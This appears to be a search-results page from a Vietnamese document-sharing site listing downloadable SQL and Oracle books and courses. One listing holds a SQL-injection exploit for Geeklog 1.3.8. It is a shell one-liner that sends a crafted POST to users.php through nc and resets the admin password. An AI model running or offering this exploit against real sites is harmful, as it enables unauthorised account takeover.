Xem 1-20 trên 228 kết quả Used by sql
  • In Oracle8 we saw the addition of bitmap indexes, function-based indexes, as well as reverse key indexes and star index structures. We also saw the Oracle SQL optimizer becoming more intelligent about the way indexes are used by SQL statements. In Oracle9i, we have the index skip scan, the and_equal hint to combine individual indexes into a contaminated index, as well as specialized bitmap access methods to improve the speed of data warehouse queries.

    pdf46p ledung 13-03-2009 241 71   Download

  • This Guide addresses business and technical professionals who have a basic understanding of the SQL database language. If you do not have any familiarity with this database tool, you should refer to the Oracle8i SQL Reference. If you plan to use the PL/SQL database language in conjunction with SQL*Plus, refer to the PL/SQL User’s Guide and Reference for information on using PL/SQL. Refer to the following tables for a list of topics covered by this Guide, a description of each topic, and the number of the chapter that covers the topic....

    pdf374p kieuoanh 12-08-2009 154 46   Download

  • BookParadise is an online library management system used by a library in Seattle. The software makes use of SQL Server 2005 databases. Information about thousands of books are maintained and updated regularly. In the recent few years, BookParadise has grown in size after receiving international funding and the number of books has increased tremendously.

    pdf2p vudung75 20-04-2011 47 10   Download

  • Contents at a Glance 1 Troubleshooting Database and Server Performance 2 Analyzing Queries 3 Failure Diagnosis 4 Disaster Recovery 5 Performance Monitoring 6 Database Maintenance 7 SQL Server Integration Services 8 Design Data Integrity 9 Business Requirements 10 Replication

    pdf775p trasua_123 29-12-2012 24 5   Download

  • Learn to access Oracle databases through SQL statements and construct PL/SQL programs with guidance from Oracle expert, Jason Price. Published by Oracle Press, Oracle Database 11g SQL explains how to retrieve and modify database information, use SQL Plus and SQL Developer, work with database objects, write PL/SQL programs, and much more. Inside, you'll find in-depth coverage of the very latest SQL features and tools, performance optimization techniques, advanced queries, Java support, and XML. This book contains everything you need to master SQL....

    pdf690p thachnq 27-11-2009 1032 450   Download

  • Sql Injection Exploit Code hack site Geeklog version 1.3.8-1sr1 Đôi nét về greedlog.net http://www.geeklog.net/ Đây là một dạng portal download free dùng rất nhiều cho site tin tức vvvv khá phổ biến. Lỗi sql injection được tìm thấy trong file users.php 2.code khai thác Exploit: #!/bin/sh echo "POST /path/to/gl/users.php HTTP/1.0 Content-length: 50 Content-type: application/x-www-form-urlencoded mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&" | nc localhost 80 This should change the Admin user's password to "new". You have to change the /path/to/gl/users.

    pdf2p tt1991tt 20-02-2011 170 64   Download

  • The OPN System supports McKoi, Microsoft SQL Server, MySQL and Oracle databases. You select the database during the installation the OPN Systemô XT Server: either the embedded database (McKoi), or an external database. If you chose the embedded database, you can change to a different one by creating a new database and configuring it to be used with the OPN Systemô XT Server.

    pdf10p bichhuyen 19-06-2009 285 55   Download

  • After completing this lesson, you should be able to do the following: Explain the advantages of SQL Apply Explain when to use a logical standby database Create a logical standby database by using Enterprise Manager

    ppt30p nghianguyenluong 30-06-2009 193 52   Download

  • The information in this book is distributed on an “as is” basis, without warranty. Although every precaution has been taken in the preparation of this work, neither the author(s) nor Apress shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in this work.

    pdf625p tienquy12a1 10-12-2010 111 41   Download

  • Before you begin this course, you should be able to use a graphical user interface (GUI). Required prerequisites are familiarity with data processing concepts and techniques.  Introduction to Oracle: SQL and PL/SQL Using Procedure Builder is an instructor-led course featuring lecture and hands-on exercises. The concepts and skills introduced are reinforced by online demonstrations and written practice sessions.

    pdf322p tunghangul 22-09-2010 114 36   Download

  • In just 24 sessions of one hour or less, you’ll learn how to use SQL to build effective databases, efficiently retrieve your data, and manage everything from performance to security! Using this book’s straightforward, step-by-step approach, you’ll learn hands-on through practical examples. Each lesson builds on what you’ve already learned, giving you a strong real-world foundation for success. The authors guide you from the absolute basics to advanced techniques—including views, transactions, Web data publishing, and even powerful SQL extensions for Oracle and Microsoft SQL Server...

    pdf492p btnghiaktvn 25-05-2011 84 35   Download

  • .Published with the authorization of Microsoft Corporation by: O’Reilly Media, Inc. 1005 Gravenstein Highway North Sebastopol, California 95472 Copyright © 2012 by Itzik Ben-Gan All rights reserved. No part of the contents of this book may be reproduced or transmitted in any form or by any means without the written permission of the publisher.

    pdf442p bongbong_hong 06-12-2012 76 29   Download

  • Contents at a Glance Part I Getting Started with Microsoft SQL Server 2008 1 Overview of Microsoft SQL Server 2 Installing and Configuring SQL Server 2008 3 Using the Tools in SQL Server 2008 Part II Designing Databases 4 Creating Databases 5 Designing Tables 6 Indexes 7 Partitioning Part III Retrieving and Manipulating Data 8 Data Retrieval 9 Advanced Data Retrieval 10 Data Manipulation Part

    pdf0p bongbong_hong 20-12-2012 69 25   Download

  • Analyze tabular data using the BI Semantic Model (BISM) in Microsoft® SQL Server® 2012 Analysis Services—and discover a simpler method for creating corporate-level BI solutions. Led by three BI experts, you’ll learn how to build, deploy, and query a BISM tabular model with step-by-step guides, examples, and best practices. This hands-on book shows you how the tabular model’s in-memory database enables you to perform rapid analytics—whether you’re a professional BI developer new to Analysis Services or familiar with its multidimensional model....

    pdf655p rose_12 06-12-2012 65 20   Download

  • [ Team LiB ] Recipe 8.11 Using a Single Stored Procedure to Update Multiple Changes to a SQL Server Database Problem You need to update a SQL Server 2000 database with changes to multiple rows in a DataSet by executing a single stored procedure.

    pdf7p luvpro 04-08-2010 97 19   Download

  • Exam 70-448: TS: Microsoft SQL Server 2008, Business Intelligence Development and Maintenance Objective impLementing an ssis sOLutiOn Implement control flow. Implement data flow. Chapter 1 Chapter 2 Chapter 1 Chapter 2 Chapter 2 Chapter 2 Chapter 3 Chapter 1 Chapter 3 Chapter 2 Chapter 2 Chapter 1 Lesson 2 Lesson 1 Lesson 3 Lesson 1 Lesson 2 Lesson 3 Lesson 1 Lesson 2 Lesson 1 Lesson 2 Lesson 3 Lesson 2 chapter LessOn Implement dynamic package behavior by using property expressions. Implement package logic by using variables. Implement package configurations.

    pdf686p trasua_123 29-12-2012 52 15   Download

  • SQL Server 2012 with PowerShell V3 Cookbook Increase your productivity as a DBA, developer, or IT Pro, by using PowerShell with SQL Server to simplify database management and automate repetitive, mundane tasks. Donabel Sntos professional expertise distilled Donabel Santos is a SQL Server MVP and is the senior SQL Server Developer/DBA/ Trainer at QueryWorks Solutions, a consulting and training company in Vancouver, BC.

    pdf634p phungnguyet_123 20-02-2013 40 15   Download

  • Oracle SQL Jumpstart with Examples- P1: Review "As a consultant with more than 12 years of experience working with Oracle databases on a daily basis, reviewing this book was a unique and enjoyable experience. The SQL language is without doubt one of the most critical database skills and it is best learned by example. This book addresses that crucial need. Mr. Powell does an excellent job of clarifying the concepts by using meaningful and easy to understand examples. Frankly, I have not come across any other book on SQL that is as good a compilation of SQL concepts in a single...

    pdf50p baby246 18-08-2010 72 14   Download

  • Oracle SQL Jumpstart with Examples- P15: Review "As a consultant with more than 12 years of experience working with Oracle databases on a daily basis, reviewing this book was a unique and enjoyable experience. The SQL language is without doubt one of the most critical database skills and it is best learned by example. This book addresses that crucial need. Mr. Powell does an excellent job of clarifying the concepts by using meaningful and easy to understand examples. Frankly, I have not come across any other book on SQL that is as good a compilation of SQL concepts in a single...

    pdf32p baby246 18-08-2010 53 13   Download

  • Oracle SQL Jumpstart with Examples- P11: Review "As a consultant with more than 12 years of experience working with Oracle databases on a daily basis, reviewing this book was a unique and enjoyable experience. The SQL language is without doubt one of the most critical database skills and it is best learned by example. This book addresses that crucial need. Mr. Powell does an excellent job of clarifying the concepts by using meaningful and easy to understand examples. Frankly, I have not come across any other book on SQL that is as good a compilation of SQL concepts in a single...

    pdf50p baby246 18-08-2010 40 11   Download

Đồng bộ tài khoản